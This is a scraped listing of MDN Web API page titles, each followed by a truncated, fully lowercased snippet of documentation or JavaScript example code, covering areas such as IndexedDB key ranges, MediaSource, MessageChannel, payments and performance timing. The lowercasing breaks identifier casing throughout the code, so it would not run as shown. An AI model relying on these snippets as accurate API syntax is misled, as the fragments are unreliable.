r a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.unique); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndexSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
lowing you to experiment with key range, have a look at the idbkeyrange directory in the indexeddb-examples repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificatio...
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
ment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificat...
IDBKeyRange.lowerBound() - Web APIs
r a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.lowerbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificat...
IDBKeyRange.lowerOpen - Web APIs
with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.loweropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification...
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.only("a"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification...
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
ment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upper); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificat...
IDBKeyRange.upperBound() - Web APIs
r a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.upperbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specifi...
IDBKeyRange.upperOpen - Web APIs
with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upperopen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificat...
IDBKeyRange - Web APIs
r a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status commen...
IDBLocaleAwareKeyRange - Web APIs
examples function displaydata() { var keyrangevalue = idblocaleawarekeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var myindex = objectstore.index('lname'); myindex.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.lname + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.fname + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value...
IDBObjectStore.count() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.getAll() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.getAllKeys() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.index() - Web APIs
for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBObjectStoreSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
the error read-only property of the idbrequest interface returns the error in the event of an unsuccessful request.
IDBTransactionSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBVersionChangeRequest.setVersion() - Web APIs
the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request.
IDBVersionChangeRequest - Web APIs
attributes attribute type description onblocked function the event handler for the blocked event.
IdleDeadline.timeRemaining() - Web APIs
by the time timeremaining() reaches 0, it is suggested that the callback should return control to the user agent's event loop.
Browser storage limits and eviction criteria - Web APIs
this will cause storage initialization to fail; for example, open() will fire an error event.
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
a list of valid code values is found in the ui events keyboardevent code values spec.
Keyboard - Web APIs
WebAPIKeyboard
a list of valid code values is found in the ui events keyboardevent code values spec.
KeyboardLayoutMap.get() - Web APIs
a list of valid keys is found in the ui events keyboardevent code values spec.
KeyboardLayoutMap.has() - Web APIs
a list of valid keys is found in the ui events keyboardevent code values spec.
KeyboardLayoutMap - Web APIs
a list of valid keys is found in the ui events keyboardevent code values specification.
LargestContentfulPaint - Web APIs
addeventlistener('visibilitychange', function fn() { if (lcp && document.visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api.
LayoutShift - Web APIs
if (!entry.hadrecentinput) { cumulativelayoutshiftscore += entry.value; } } }); observer.observe({type: 'layout-shift', buffered: true}); document.addeventlistener('visibilitychange', () => { if (document.visibilitystate === 'hidden') { // force any pending records to be dispatched.
Location - Web APIs
WebAPILocation
0%; line-height:1.5; background:black;} [title]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigi...
MIDIAccess - Web APIs
event handlers midiaccess.onstatechange called whenever a new midi port is added or an existing port changes state.
MIDIInput - Web APIs
WebAPIMIDIInput
event handlers midiinput.onmidimessage when the current port receives a midimessage it triggers a call to this event handler.
MathMLElement - Web APIs
properties this interface has no properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaError.code - Web APIs
WebAPIMediaErrorcode
media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite having previously been available.
MediaError.message - Web APIs
this lets us see the behavior of the error event handler, which is received by an event handler we add to the <audio> element itself.
MediaError - Web APIs
media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite having previously been available.
MediaQueryListListener - Web APIs
the mediaquerylist.addlistener() callback is now a plain function and called with the standard mediaquerylistevent object.
MediaRecorder.pause() - Web APIs
raise a pause event.
MediaRecorder.resume() - Web APIs
raise a resume event.
MediaSession.playbackState - Web APIs
example the following example sets up event handlers, for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"...
MediaSession.setActionHandler() - Web APIs
the setactionhandler() property of the mediasession interface sets an event handler for a media session action.
MediaSource.MediaSource() - Web APIs
= 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } ...
MediaSource.activeSourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.activesourcebuffers); // will contain the source buffer that was added above, // as it is selected for playing in the video player video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaSource.addSourceBuffer() - Web APIs
= 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); ...
MediaSource.duration - Web APIs
erty is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaSource.endOfStream() - Web APIs
= 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); ...
MediaSource.isTypeSupported() - Web APIs
= 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); ...
MediaSource.readyState - Web APIs
example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); ...
MediaSource.sourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStreamTrack.enabled - Web APIs
example this example demonstrates a click event handler for a pause button.
MediaStreamTrack.muted - Web APIs
instead, add event listeners for the mute and unmute events.
MediaTrackSettings.echoCancellation - Web APIs
echo cancellation is a feature which attempts to prevent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output device and their input device.
Using the Media Capabilities API - Web APIs
ocument.getelementbyid("results") li.innerhtml = content; ul.appendchild(li); }).catch((error) => { var li = document.createelement('li'), ul = document.getelementbyid("results"); li.innertext = 'codec ' + mc.videoconfiguration.video.contenttype + ' threw an error: ' + error; ul.appendchild(li); }); } } document.getelementbyid('tryit').addeventlistener('click', mc.tryit); live result ...
MessageChannel() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel.port1 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel - Web APIs
var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic ...
MessagePort.onmessageerror - Web APIs
the onmessageerror event handler of the messageport interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the port—that is, when it receives a message that cannot be deserialized.
MessagePort.postMessage() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
msPlayToPreferredSourceUri - Web APIs
= document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be used to distribute audio/video content more securely over a network, and help prevent the unauthorized use of this content.
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer which invokes a specified callback when dom events occur.
MutationObserver.observe() - Web APIs
this prevents you from missing changes that occur after the connection is severed and before you have a chance to specifically begin monitoring the moved node or subtree for changes.
Navigator.battery - Web APIs
WebAPINavigatorbattery
the battery read-only property returns a batterymanager which provides information about the system's battery charge level and whether the device is charging and exposes events that fire when these parameters change.
Navigator.cookieEnabled - Web APIs
note: web browsers may prevent writing certain cookies in certain scenarios.
Navigator.credentials - Web APIs
the credentialscontainer interface also notifies the user agent when an interesting event occurs, such as a successful sign-in or sign-out.
Navigator.getGamepads() - Web APIs
syntax var gamepads = navigator.getgamepads(); example window.addeventlistener("gamepadconnected", function(e) { var gp = navigator.getgamepads()[e.gamepad.index]; console.log( "gamepad connected at index %d: %s.
Navigator.mediaSession - Web APIs
in addition, the mediasession interface provides the setactionhandler() method, which lets you receive events when the user engages device controls such as either onscreen or physical play, pause, seek, and other similar controls.
Navigator.share() - Web APIs
WebAPINavigatorshare
the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
Navigator.wakeLock - Web APIs
while a screen wake lock is active, the user agent will try to prevent the device from dimming the screen, turning it off completely, or showing a screensaver.
NavigatorLanguage.languages - Web APIs
when its value changes, as the user's preferred languages are changed a languagechange event is fired on the window object.
Network Information API - Web APIs
var connection = navigator.connection || navigator.mozconnection || navigator.webkitconnection; var type = connection.effectivetype; function updateconnectionstatus() { console.log("connection type changed from " + type + " to " + connection.effectivetype); type = connection.effectivetype; } connection.addeventlistener('change', updateconnectionstatus); preload large resources the connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
it does not copy event listeners added using addeventlistener() or those assigned to element properties (e.g., node.onclick = somefunction).
Node.removeChild() - Web APIs
WebAPINoderemoveChild
this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) errors thrown the method throws an exception in 2 different ways: if the child was in fact a child of element and so existing on the dom, but was removed the method throws the following exception: uncaught notfounderror: failed to execute 'removechild' on 'node': the node to be removed is not a child of this no...
Node.textContent - Web APIs
WebAPINodetextContent
moreover, using textcontent can prevent xss attacks.
Notification.timestamp - Web APIs
the notification's timestamp can represent the time, in milliseconds since 00:00:00 utc on 1 january 1970, of the event for which the notification was created, or it can be an arbitrary timestamp that you want associated with the notification.
OfflineAudioContext.OfflineAudioContext() - Web APIs
like a regular audiocontext, an offlineaudiocontext can be the target of events, therefore it implements the eventtarget interface.
OfflineAudioContext.oncomplete - Web APIs
the oncomplete event handler of the offlineaudiocontext interface is called when the audio processing is terminated, that is when the complete event (of type offlineaudiocompletionevent) is raised.
OscillatorNode.onended - Web APIs
the onended property of the oscillatornode interface is used to set the event handler for the ended event, which fires when the tone has stopped playing.
OscillatorNode - Web APIs
event handlers oscillatornode.onended sets the event handler for the ended event, which fires when the tone has stopped playing.
OverconstrainedError.OverconstrainedError() - Web APIs
when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied.
OverconstrainedError - Web APIs
when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied.
PaintWorklet - Web APIs
event handlers none.
PasswordCredential - Web APIs
event handlers none.
PaymentAddress.country - Web APIs
taddress.country; value a domstring which contains the iso3166-1 alpha-2 code identifying the country in which the address is located, or an empty string if no country is available, which frequently can be assumed to mean "same country as the site owner." usage notes if the payment handler validates the address and determines that the value of country is invalid, a call to paymentrequestupdateevent.updatewith() will be made with a details object containing a shippingaddresserrors field.
PaymentAddress - Web APIs
amount: { currency: "usd", value: "65.00" }, }, ], shippingoptions: [ { id: "standard", label: "standard shipping", amount: { currency: "usd", value: "0.00" }, selected: true, }, ], }; const options = { requestshipping: true }; async function dopaymentrequest() { const request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
PaymentDetailsBase - Web APIs
this can be delivered to the payment interface using either paymentdetailsupdateevent.updatewith() or by returning it from the optional detailsupdate promise provided to the paymentrequest.show() call that begins the user interaction.
PaymentDetailsUpdate - Web APIs
this can be done either by calling the paymentrequestupdateevent.updatewith() method or by using the paymentrequest.show() method's detailspromise parameter to provide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time.
PaymentRequest.PaymentRequest() - Web APIs
{ label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
PaymentRequest.shippingAddress - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for brevity.
PaymentRequest.shippingOption - Web APIs
syntax // returns the id of the selected paymentshippingoption var shippingoption = request.shippingoption; example in the example below, the paymentrequest.onshippingoptionchange and the paymentrequest.onshippingaoptionchange events are dispatched.
PaymentResponse.shippingAddress - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
PaymentResponse - Web APIs
events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
performance.now() - Web APIs
WebAPIPerformancenow
coop process-isolates your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks.
Performance - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
PerformanceEntry.duration - Web APIs
"navigation" - returns the timestamp that is the difference between the performancenavigationtiming.loadeventend and performanceentry.starttime properties, respectively.
PerformanceEntry - Web APIs
performanceentry.duration read only a domhighrestimestamp representing the time value of the duration of the performance event.
PerformanceLongTaskTiming - Web APIs
="/docs/web/api/performancelongtasktiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancelongtasktiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties performancelongtasktiming.attribution read only returns a sequence of taskattributiontiming instances.
PerformanceMark - Web APIs
dde4"/><a xlink:href="/docs/web/api/performancemark" target="_top"><rect x="201" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemark</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constraining the properties as follows: performanceentry.entrytype returns "mark".
PerformanceMeasure - Web APIs
><a xlink:href="/docs/web/api/performancemeasure" target="_top"><rect x="201" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="291" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemeasure</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constrainting the properties as follows: performanceentry.entrytype returns "measure".
PerformanceObserver.takeRecords() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
PerformanceResourceTiming.nextHopProtocol - Web APIs
function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry) { var value = "nexthopprotocol" in perfentry; if (value) console.log("nexthopprotocol = " + perfentry.nexthopprotocol); else console.log("nexthopprotocol = not supported"); } specifications specificatio...
PerformanceTiming.domComplete - Web APIs
the legacy performancetiming.domcomplete read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser finished its work on the main document, that is when its document.readystate changes to 'complete' and the corresponding readystatechange event is thrown.
PerformanceTiming.domInteractive - Web APIs
the legacy performancetiming.dominteractive read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser finished its work on the main document, that is when its document.readystate changes to 'interactive' and the corresponding readystatechange event is thrown.
PerformanceTiming.domLoading - Web APIs
the legacy performancetiming.domloading read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown.
Permissions - Web APIs
safari ios no support nosamsung internet android full support 8.0accessibility-events permissionchrome full support 62edge full support 79firefox ?
Permissions API - Web APIs
permissionstatus provides access to the current status of a permission, and an event handler to respond to changes in permission status.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
this is provided by the relying party's server if it wants to prevent creation of new credentials for an existing user.
PushManager - Web APIs
example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
PushMessageData - Web APIs
examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmess...
Web Push API Notifications best practices - Web APIs
